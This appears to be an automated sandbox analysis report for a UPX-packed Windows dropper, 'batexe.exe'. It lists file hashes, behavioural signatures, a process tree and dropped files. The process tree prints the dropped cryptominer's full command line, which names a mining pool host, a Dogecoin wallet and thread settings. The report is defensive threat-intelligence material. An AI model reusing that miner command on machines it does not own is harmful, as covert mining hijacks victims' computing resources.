73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 13:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2928	b2e.exe
2600	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2600	cpuminer-sse2.exe
2600	cpuminer-sse2.exe
2600	cpuminer-sse2.exe
2600	cpuminer-sse2.exe
2600	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3824-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3824 wrote to memory of 2928	3824	batexe.exe	74
PID 3824 wrote to memory of 2928	3824	batexe.exe	74
PID 3824 wrote to memory of 2928	3824	batexe.exe	74
PID 2928 wrote to memory of 4836	2928	b2e.exe	75
PID 2928 wrote to memory of 4836	2928	b2e.exe	75
PID 2928 wrote to memory of 4836	2928	b2e.exe	75
PID 4836 wrote to memory of 2600	4836	cmd.exe	78
PID 4836 wrote to memory of 2600	4836	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Users\Admin\AppData\Local\Temp\AC6C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AC6C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AC6C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B12F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\AC6C.tmp\b2e.exe

Filesize
2.0MB

MD5
fdeff16ca964a2e9a2203979adac8aef

SHA1
63fd594b64440d14c8bbb531f900073ca93d6f24

SHA256
ec3b54b18cd56dc7a31df8ba96620e24f6ba98f305481e310b7f159ce544f7c7

SHA512
e892709e7c3ff823345cdbde2b4be9f51b3769456baed5ab824bda5ae849dbcff8c2a5750c7db79baa9636eda2542df5df5421b6e8629c827fa4db1abc188e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\AC6C.tmp\b2e.exe

Filesize
1.4MB

MD5
fe4bc2bb4397eea601e0fa6c45cc20c6

SHA1
35477fc0a38f9db357a70f9b0573537fca582a9b

SHA256
8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

SHA512
3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\B12F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
9329fca0baee8b13df35097804674548

SHA1
3227b7f7fb80c5122c852ce09c7ee6d933fdb7be

SHA256
3c599bbce1deb354309f4ed8ca846616face46d99e1e79944aea58f72ac94d1f

SHA512
ae043be9fc9ecfb9d28c5f63f7cf952a0b0a3dc2e7fefd278a071cdde609058dcbbbb94d6e47e7013d200fe44c792e3081a796e4e7d6e52c04e48e58b03343ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
64KB

MD5
42871db599b90c630b2d75268c8b0116

SHA1
fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

SHA256
80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

SHA512
c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
c89eccb172245572e12e1ef31352c451

SHA1
96b44d49114268c567b7a9682327d27a0f0aa80d

SHA256
7891f06b27f93b1ee548c045eaa07511bc74c292cc4c6d5275dc66523730bf33

SHA512
19fee3424df1abc582f55c4785e5175bb0bd1375e235aefedbfbe30be07d2642937b09abec4f06802c28e248e1052b58453695baf29d26efa3e0a81848e8e0c1

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
5cb25295334cb63e6b4d195522898229

SHA1
8fc99be1a298e52a48c09274aab7ea913058135e

SHA256
c0c6b1386533fe75d9d5bcaec3c99a788d4ad4e4f6e12650bba07581a94497a7

SHA512
fa957785980889ae7417bfd529197175049fd34d16706bc666e923ea1e7b04743e3c1f9f624f3458b5a5228c31267120453fc4e9729ec16ba9fc8973ed55d6ac

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
53612a126479771a106341eecffb8744

SHA1
b0632167d2d468ec3c6675c7c33ac6a066aa65bb

SHA256
ed7d4196edfab2ae993a47c524e0ad04141bba9105a2ae1d62637ec394aafaf4

SHA512
b5f8f39673cea11e4e1d263822e45b3f1d11a1ef236b07995838c662e1a4948cc060e167dd08afad4b09def0f372e8c5e82a9ac39778e6ce1fcc91ec22585ef1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2600-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2600-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2600-42-0x0000000074D20000-0x0000000074DB8000-memory.dmp

Filesize
608KB

Download
memory/2600-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/2600-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2600-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2928-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2928-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3824-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download